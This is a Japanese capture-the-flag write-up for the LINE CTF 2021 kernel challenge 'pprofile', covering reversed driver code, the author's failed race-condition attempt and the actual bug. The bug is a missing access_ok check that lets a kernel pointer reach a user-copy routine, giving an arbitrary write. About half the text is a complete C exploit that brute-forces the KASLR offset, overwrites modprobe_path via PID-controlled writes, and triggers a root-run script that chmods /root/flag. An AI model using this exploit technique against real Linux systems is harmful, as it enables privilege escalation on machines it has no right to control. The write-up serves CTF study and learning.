イントロ
いつぞや開催された LINE CTF 2021。最近 kernel 問を解いているので kernel 問を解こうと思って望んだが解けませんでした。このエントリの前半は問題の概要及び自分がインタイムに考えたことをまとめていて、後半で実際に動く exploit の概要を書いています。尚、本 exploit は@sampritipanda さんのPoC を完全に参考にしています。というかほぼ写経しています。過去の CTF の問題を復習する時に結構この人の PoC を参考にすることが多いので、いつもかなり感謝しています。 今回、振り返ってみるとかなり明らかな、自明と言うか、誘っているようなバグがあったにも関わらず全然気づけなかったので、反省しています。嘘です。コーラ飲んでます。
static
static.sh 1/ $ cat /proc/version
2Linux version 5.0.9 (ubuntu@ubuntu) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.11)) #1 SMP 9
3$ cat ./run
4qemu-system-x86_64 -cpu kvm64,+smep,+smap \
5 -m 128M \
6 -kernel ./bzImage \
7 -initrd ./initramfs.cpio \
8 -nographic \
9 -monitor /dev/null \
10 -no-reboot \
11 -append "root=/dev/ram rw rdinit=/root/init console=ttyS0 loglevel=3 oops=panic panic=1"
12$ modinfo ./pprofile.ko
13filename: /home/wataru/Documents/ctf/line2021/pprofile/work/./pprofile.ko
14license: GPL
15author: pprofile
16srcversion: 35894B85C84616BDF4E3CE4
17depends:
18retpoline: Y
19name: pprofile
20vermagic: 5.0.9 SMP mod_unload modversions
SMEP 有効・SMAP 有効・KAISER 有効・KASLR 有効・oops->panic・シングルコア SMP。ソース配布なし。
Module
ioctl
のみを実装したデバイスを登録している。コマンドは 3 つ存在し、それぞれ大凡以下のことをする。
PP_REGISTER: 0x20
クエリは以下の構造。また、内部では 2 つの構造体が使われる。
query.c 1struct ioctl_query{
2 char *comm;
3 char *result;
4}
5struct unk1{
6 char *comm;
7 struct unk2 *ptr;
8}
9struct unk2{
10 ulong NOT_USED;
11 uint pid;
12 uint length;
13}
14struct unk1 storages[0x10]; // global
ユーザから指定されたcomm
がstorages
に存在していなければ新しくunk1
とunk2
をkmalloc/kmem_cache_alloc_trace()
で確保し、caller の PID や指定されたcomm
及びその length を格納する。この際に、comm
の length に応じて以下の謎の処理があるが、これが何をしているかは分からなかった。
1 else {
2 uVar5 = (uint)offset;
3 /* n <= 6 */
4 if (uVar5 < 0x8) {
5 if ((offset & 0x4) == 0x0) {
6 /* n <= 3 */
7 if ((uVar5 != 0x0) && (*__dest = '\0', (offset & 0x2) != 0x0)) {
8 *(undefined2 *)(__dest + ((offset & 0xffffffff) - 0x2)) = 0x0;
9 }
10 }
11 else {
12 /* 4 <= n <= 6 */
13 *(undefined4 *)__dest = 0x0;
14 *(undefined4 *)(__dest + ((offset & 0xffffffff) - 0x4)) = 0x0;
15 }
16 }
17 else {
18 /* n == 7 */
19 *(undefined8 *)(__dest + ((offset & 0xffffffff) - 0x8)) = 0x0;
20 if (0x7 < uVar5 - 0x1) {
21 uVar4 = 0x0;
22 do {
23 offset = (ulong)uVar4;
24 uVar4 = uVar4 + 0x8;
25 *(undefined8 *)(__dest + offset) = 0x0;
26 } while (uVar4 < (uVar5 - 0x1 & 0xfffffff8));
27 }
28 }
PP_DESTROY: 0x40
storages
から指定されたcomm
を持つエントリを探して、kfree()
及び NULL クリアするのみ。
PP_ASK: 0x10
指定されたcomm
に該当するstorages
のエントリのunk2
構造体が持つ値を、指定されたquery.result
にコピーする。このコピーでは以下のようにput_user_size()
という関数が使われている。
1 /* Found specified entry */
2 uVar5 = unk1->info2->pid;
3 uVar4 = unk1->info2->length;
4 put_user_size(NULL,l58_query.result,0x4);
5 iVar2 = extraout_EAX;
6 if ((extraout_EAX != 0x0) ||
7 (put_user_size((char *)(ulong)uVar5,comm + 0x8,0x4), iVar2 = extraout_EAX_00,
8 extraout_EAX_00 != 0x0)) goto LAB_001001a0;
9 put_user_size((char *)(ulong)uVar4,comm + 0xc,0x4);
この関数は、内部でcopy_user_generic_unrolled()
という関数を用いてコピーを行っている。この関数の存在を知らなかったのだが、/arch/x86/lib/copy_user_64.S
でアセンブラで書かれた関数で userland に対するコピーを行うらしい。先頭にあるSTAC
命令は一時的に SMAP を無効にする命令である。
1ENTRY(copy_user_generic_unrolled)
2 ASM_STAC
3 cmpl $8,%edx
4 jb 20f /* less then 8 bytes, go to byte copy loop */
5 ALIGN_DESTINATION
6 movl %edx,%ecx
7 andl $63,%edx
8 shrl $6,%ecx
9 jz .L_copy_short_string
101: movq (%rsi),%r8
11(snipped...)
この時点で、明らかにこれが自明なバグであることに気づくべきだった。まぁ、後述。
期間中に考えたこと(FAIL)
絶対にレースだと思ってた。というのも、リバースしたコードが、それはもう TOCTOU 臭が漂いまくっていた。いや、本当は漂ってなかったかも知れないが、絶対そうだと思いこんでいた。一番有力なのは以下の部分だと思ってた。
sus.c 1 if (command == 0x10) {
2 iVar2 = strncpy_from_user(&l41_user_comm,l58_query.userbuf,0x8);
3 if ((iVar2 == 0x0) || (iVar2 == 0x9)) goto LAB_00100341;
4 if (iVar2 < 0x0) goto LAB_001001a0;
5 p_storage = storages;
6 do {
7 unk1 = *p_storage;
8 if ((unk1 != NULL) &&
9 (iVar2 = strcmp(unk1->comm,(char *)&l41_user_comm), comm = l58_query.result,
10 iVar2 == 0x0)) {
11 /* Found specified entry */
12 uVar5 = unk1->info2->pid;
13 uVar4 = unk1->info2->length;
14 put_user_size(NULL,l58_query.result,0x4);
15 iVar2 = extraout_EAX;
16 if ((extraout_EAX != 0x0) ||
17 (put_user_size((char *)(ulong)uVar5,comm + 0x8,0x4), iVar2 = extraout_EAX_00,
18 extraout_EAX_00 != 0x0)) goto LAB_001001a0;
19 put_user_size((char *)(ulong)uVar4,comm + 0xc,0x4);
user から指定されたcomm
をstrncpy_from_user()
でコピーした後に、合致するエントリがあるかをstorages
から探し、見つかったならばその結果をquery.result
にコピーしている。ここだけが唯一storages
からの検索後にもユーザランドへのアクセスがあったため、ここで uffd して TOCTOU するものだと思った。処理を止めている間に該当エントリをPP_DESTROY
して何か他のオブジェクトを入れた後に read するんじゃないかと思った。だが、実際の処理ではユーザアクセス(put_user_size()
)の前に pid と length をスタックに積んでいるため、少なくとも uffd によるレースは失敗する。なんかうまいことstorages
の検索後からスタックに積むまでの間に処理が移ったら良いんじゃないかとも思ったが、だいぶしんどそう。しかも、この方法だと leak ができたとしても write する手段がないためどっちにしろ詰むことになったと思う。
レースの線に固執しすぎていたのと、あと単純にリバースが下手でバイナリを読み間違えていたのもあって、解けなかった。
Vuln
以下、完全に@sampritipanda
さんのPoC
をパクっています。
上述したが、ユーザランドへのコピーにcopy_user_generic_unrolled()
を使っている。この関数のことを読み飛ばしていたのだが、kernel を読んでみると、この関数は CPU がrep movsq
等の効率的なコピーに必要な命令のマイクロコードをサポートしていない場合に呼ばれる関数らしい。
1copy_user_generic(void *to, const void *from, unsigned len)
2{
3 unsigned ret;
4
5 /*
6 * If CPU has ERMS feature, use copy_user_enhanced_fast_string.
7 * Otherwise, if CPU has rep_good feature, use copy_user_generic_string.
8 * Otherwise, use copy_user_generic_unrolled.
9 */
10 alternative_call_2(copy_user_generic_unrolled,
11 copy_user_generic_string,
12 X86_FEATURE_REP_GOOD,
13 copy_user_enhanced_fast_string,
14 X86_FEATURE_ERMS,
15 ASM_OUTPUT2("=a" (ret), "=D" (to), "=S" (from),
16 "=d" (len)),
17 "1" (to), "2" (from), "3" (len)
18 : "memory", "rcx", "r8", "r9", "r10", "r11");
19 return ret;
20}
そして、このcopy_user_generic()
自体は通常のcopy_from_user()
から呼ばれる関数である。(raw_copy_from_user()
経由)
1unsigned long _copy_from_user(void *to, const void __user *from, unsigned long n)
2{
3 unsigned long res = n;
4 might_fault();
5 if (likely(access_ok(from, n))) {
6 kasan_check_write(to, n);
7 res = raw_copy_from_user(to, from, n);
8 }
9 if (unlikely(res))
10 memset(to + (n - res), 0, res);
11 return res;
12}
13EXPORT_SYMBOL(_copy_from_user);
はい。上の関数を見れば分かるが、raw_copy_from_user()
を呼び出す前にはaccess_ok()
を呼んで、指定されたユーザランドポインタが valid なものであるかをチェックする必要がある。つまり、copy_user_generic_unrolled()
自体はこのチェックが既に済んでおり、ポインタは valid なものとして扱う。よって、query.result に kernelland のポインタを渡してしまえば AAW が実現される。
方針
PP_ASK
で書き込まれる値は、comm
のlength
・PID、及び使用されていない常に 0 の 8byte である(これナニ?)。この内comm
は length が 1~7 に限定されているため、任意に操作できるのは PID だけである。fork()
を所望の PID になるまで繰り返せば任意の値を書き込むことができる。
任意書き込みができる場合に一番楽なのはmodprobe_path
である。この際、KASLR が有効だから leak しなくちゃいけないと思ったら、意外と bruteforce でなんとかなるらしい。エントロピーは、以下の試行でも分かるように 1byte のみである。read の bruteforce ならまだしも、write の bruteforce でも意外と kernel は crash しないらしい。勉強になった。
1ffffffff82256f40 D modprobe_path
2ffffffff90256f40 D modprobe_path
3ffffffff96256f40 D modprobe_path
exploit
exploit.c 1
2/** This PoC is completely based on https://gist.github.com/sampritipanda/3ad8e88f93dd97e93f070a94a791bff6 **/
3
4#define _GNU_SOURCE
5#include <string.h>
6#include <stdio.h>
7#include <fcntl.h>
8#include <stdint.h>
9#include <unistd.h>
10#include <assert.h>
11#include <stdlib.h>
12#include <signal.h>
13#include <poll.h>
14#include <pthread.h>
15#include <err.h>
16#include <errno.h>
17#include <sched.h>
18#include <linux/bpf.h>
19#include <linux/filter.h>
20#include <linux/userfaultfd.h>
21#include <linux/prctl.h>
22#include <sys/syscall.h>
23#include <sys/ipc.h>
24#include <sys/msg.h>
25#include <sys/prctl.h>
26#include <sys/ioctl.h>
27#include <sys/mman.h>
28#include <sys/types.h>
29#include <sys/xattr.h>
30#include <sys/socket.h>
31#include <sys/uio.h>
32#include <sys/shm.h>
33
34
35// commands
36#define DEV_PATH "/dev/pprofile" // the path the device is placed
37
38// constants
39#define PAGE 0x1000
40#define FAULT_ADDR 0xdead0000UL
41#define FAULT_OFFSET PAGE
42#define MMAP_SIZE 4*PAGE
43#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
44// (END constants)
45
46// globals
47// (END globals)
48
49
50// utils
51#define WAIT getc(stdin);
52#define ulong unsigned long
53#define scu static const unsigned long
54#define NULL (void*)0
55#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
56 } while (0)
57#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
58 if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
59ulong user_cs,user_ss,user_sp,user_rflags;
60struct pt_regs {
61 ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
62 ulong bx; ulong r11; ulong r10; ulong r9; ulong r8;
63 ulong ax; ulong cx; ulong dx; ulong si; ulong di;
64 ulong orig_ax; ulong ip; ulong cs; ulong flags;
65 ulong sp; ulong ss;
66};
67void print_regs(struct pt_regs *regs)
68{
69 printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
70 printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
71 printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
72 printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
73 printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
74}
75void NIRUGIRI(void)
76{
77 char *argv[] = {"/bin/sh",NULL};
78 char *envp[] = {NULL};
79 execve("/bin/sh",argv,envp);
80}
81// should compile with -masm=intel
82static void save_state(void) {
83 asm(
84 "movq %0, %%cs\n"
85 "movq %1, %%ss\n"
86 "movq %2, %%rsp\n"
87 "pushfq\n"
88 "popq %3\n"
89 : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" );
90}
91
92static void shellcode(void){
93 asm(
94 "xor rdi, rdi\n"
95 "mov rbx, QWORD PTR [rsp+0x50]\n"
96 "sub rbx, 0x244566\n"
97 "mov rcx, rbx\n"
98 "call rcx\n"
99 "mov rdi, rax\n"
100 "sub rbx, 0x470\n"
101 "call rbx\n"
102 "add rsp, 0x20\n"
103 "pop rbx\n"
104 "pop r12\n"
105 "pop r13\n"
106 "pop r14\n"
107 "pop r15\n"
108 "pop rbp\n"
109 "ret\n"
110 );
111}
112// (END utils)
113
114/*** GLOBALS *****/
115void *mmap_addr;
116int fd;
117char inbuf[PAGE];
118char outbuf[PAGE];
119/********************/
120
121#define PP_REGISTER 0x20
122#define PP_DESTROY 0x40
123#define PP_ASK 0x10
124
125struct query{
126 char *buf;
127 char *result;
128};
129
130void _register(int fd, char *buf){
131 printf("[.] register: %d %p(%s)\n", fd, buf, buf);
132 struct query q = {
133 .buf = buf};
134 int ret = ioctl(fd, PP_REGISTER, &q);
135 printf("[reg] %d\n", ret);
136}
137
138void _destroy(int fd, char *buf){
139 printf("[.] destroy: %d %p(%s)\n", fd, buf, buf);
140 struct query q = {
141 .buf = buf
142 };
143 int ret = ioctl(fd, PP_DESTROY, &q);
144 printf("[des] %d\n", ret);
145}
146
147void _ask(int fd, char *buf, char *obuf){
148 printf("[.] ask: %d %p %p\n", fd, buf, obuf);
149 struct query q = {
150 .buf = buf,
151 .result = obuf
152 };
153 int ret = ioctl(fd, PP_ASK, &q);
154 printf("[ask] %d\n", ret);
155}
156
157void ack_pid(int pid, void (*f)(ulong), ulong arg){
158 while(1==1){
159 int cur = fork();
160 if(cur == 0){ // child
161 if(getpid() % 0x100 == 0){
162 printf("[-] 0x%x\n", getpid());
163 }
164 if(getpid() == pid){
165 f(arg);
166 }
167 exit(0);
168 }else{ // parent
169 wait(NULL);
170 if(cur == pid)
171 break;
172 }
173 }
174}
175
176void sub_aaw(ulong offset){
177 for (int ix = 0; ix != 0xFF; ++ix){
178 ulong target = 0xffffffff00000000UL
179 + ix * 0x01000000UL
180 + offset;
181 _register(fd, inbuf);
182 _ask(fd, inbuf, (char *)target);
183 _destroy(fd, inbuf);
184 }
185}
186
187void aaw(ulong offset, unsigned val){
188 ack_pid(val, &sub_aaw, offset);
189}
190
191int main(int argc, char *argv[]) {
192 char s_evil[] = "/tmp/a\x00";
193 memset(inbuf, 0, 0x200);
194 memset(outbuf, 0, 0x200);
195 strcpy(inbuf, "ABC\x00");
196 fd = open(DEV_PATH, O_RDONLY);
197 assert(fd >= 2);
198
199 // setup for modprobe_path overwrite
200 system("echo -ne '#!/bin/sh\nchmod 777 /root/flag' > /tmp/a");
201 system("chmod +x /tmp/a");
202 system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/nirugiri");
203 system("chmod +x /tmp/nirugiri");
204
205 for(int ix=0;ix<strlen(s_evil);ix+=2){
206 printf("[+] writing %x.......\n", *((unsigned short*)(s_evil+ix)));
207 aaw(0x256f40 - 0x10 + 8 + ix, *((unsigned short*)(s_evil+ix)));
208 }
209
210 // invoke user_mod_helper
211 system("/tmp/nirugiri");
212
213 return 0;
214}
215
216/*
217ffffffff82256f40 D modprobe_path
218ffffffff90256f40 D modprobe_path
219ffffffff96256f40 D modprobe_path
220*/
アウトロ
この、無能め!!!!
symbols without KASLR
1/ # cat /proc/kallsyms | grep pprofile
20xffffffffc0002460 t pprofile_init [pprofile]
30xffffffffc00044d0 b __key.27642 [pprofile]
40xffffffffc00030a0 r pprofile_fops [pprofile]
50xffffffffc0002570 t pprofile_exit [pprofile]
60xffffffffc00032bc r _note_6 [pprofile]
70xffffffffc0004440 b p [pprofile]
80xffffffffc0004000 d pprofile_major [pprofile]
90xffffffffc0004040 d __this_module [pprofile]
100xffffffffc0002570 t cleanup_module [pprofile]
110xffffffffc00044c8 b pprofile_class [pprofile]
120xffffffffc0002460 t init_module [pprofile]
130xffffffffc0002000 t put_user_size [pprofile]
140xffffffffc0002050 t pprofile_ioctl [pprofile]
150xffffffffc0004460 b cdev [pprofile]
160xffffffffc00043c0 b storages [pprofile]
参考
- sampritipanda さんの PoC: https://gist.github.com/sampritipanda/3ad8e88f93dd97e93f070a94a791bff6